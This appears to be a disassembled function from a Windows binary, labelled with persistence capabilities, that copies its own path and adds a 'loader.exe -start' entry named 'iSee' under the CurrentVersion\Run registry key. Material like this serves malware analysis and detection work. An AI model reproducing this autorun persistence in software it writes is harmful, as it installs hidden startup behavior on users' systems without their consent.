Function at 0x457870
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x5cfa80
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov eax, dword [0x629560]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
call fcn.004d4991
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4578b1
push 0x80004005
call fcn.00404150
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
mov dword [esp + 0x30], 0
call fcn.004d4991
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4578e3
push 0x80004005
call fcn.00404150
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0x14], esi
mov byte [esp + 0x30], 1
call fcn.004d4991
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x457912
push 0x80004005
call fcn.00404150
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea ebp, [eax + 0x10]
mov dword [esp + 0x24], ebp
mov bl, 2
mov byte [esp + 0x30], bl
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
mov edi, 0x401
sub eax, edi
or eax, ecx
jge 0x45794c
push edi
lea ecx, [esp + 0x18]
call fcn.00405360
mov esi, dword [esp + 0x14]
cmp dword [esi - 8], edi
jge 0x45795b
push 0x80070057
call fcn.00404150
push 0x400
push esi
mov dword [esi - 0xc], edi
push 0
mov byte [esi + 0x401], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, 1
or eax, ecx
jge 0x457994
push 1
lea ecx, [esp + 0x18]
call fcn.00405360
mov esi, dword [esp + 0x14]
push 0x5c
push esi
call fcn.004f4ca0
sub eax, esi
add esp, 8
add eax, 1
push eax
lea ecx, [esp + 0x24]
push ecx
lea ecx, [esp + 0x1c]
call fcn.00404d30
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x34], 3
call fcn.00404f90
mov byte [esp + 0x30], bl
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
or ebx, 0xffffffff
lea edx, [eax + 0xc]
mov ecx, ebx
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4579e8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x11
push str.loader.exe__start
lea ecx, [esp + 0x1c]
call fcn.0041cc20
push 0x2d
push str.SoftwareMicrosoftWindowsCurrentVersionRun
lea ecx, [esp + 0x20]
call fcn.004052d0
mov esi, dword [esp + 0x18]
lea ecx, [esp + 0x1c]
push ecx
push esi
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x457a96
lea eax, [ebp - 0x10]
mov byte [esp + 0x30], 1
lea edx, [eax + 0xc]
mov ecx, ebx
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x457a41
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x30], 0
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x457a65
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x30], ebx
lea eax, [esi - 0x10]
lea ecx, [eax + 0xc]
lock xadd dword [ecx], ebx
dec ebx
test ebx, ebx
jg 0x457a82
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
mov esi, dword [esp + 0x14]
test esi, esi
jne 0x457aa2
xor eax, eax
jmp 0x457ab8
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x457aa7
sub eax, edx
js 0x457951
cmp eax, dword [esi - 8]
jg 0x457951
test ebp, ebp
mov dword [esi - 0xc], eax
mov byte [eax + esi], 0
jne 0x457ad0
xor eax, eax
jmp 0x457ae6
mov eax, ebp
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x457ad5
sub eax, edx
js 0x457951
cmp eax, dword [ebp - 8]
jg 0x457951
mov dword [ebp - 0xc], eax
mov byte [eax + ebp], 0
cmp dword [esi - 4], 1
mov eax, dword [esi - 0xc]
lea edi, [eax + eax]
jle 0x457b12
mov ecx, eax
push ecx
lea ecx, [esp + 0x18]
call fcn.00405590
mov esi, dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
push edi
push esi
push 1
push 0
push str.iSee
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x457b7c
lea eax, [ebp - 0x10]
mov byte [esp + 0x30], 1
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x457b4c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [esi - 0x10]
mov byte [esp + 0x30], 0
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x457b6c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x30], ebx
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
jmp 0x457a6c
test esi, esi
jne 0x457b84
xor eax, eax
jmp 0x457ba1
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x457b90
sub eax, edx
js 0x457951
cmp eax, dword [esi - 8]
jg 0x457951
mov dword [esi - 0xc], eax
mov byte [eax + esi], 0
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x10]
mov byte [esp + 0x30], 1
lea edx, [eax + 0xc]
mov ecx, ebx
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jmp 0x457b40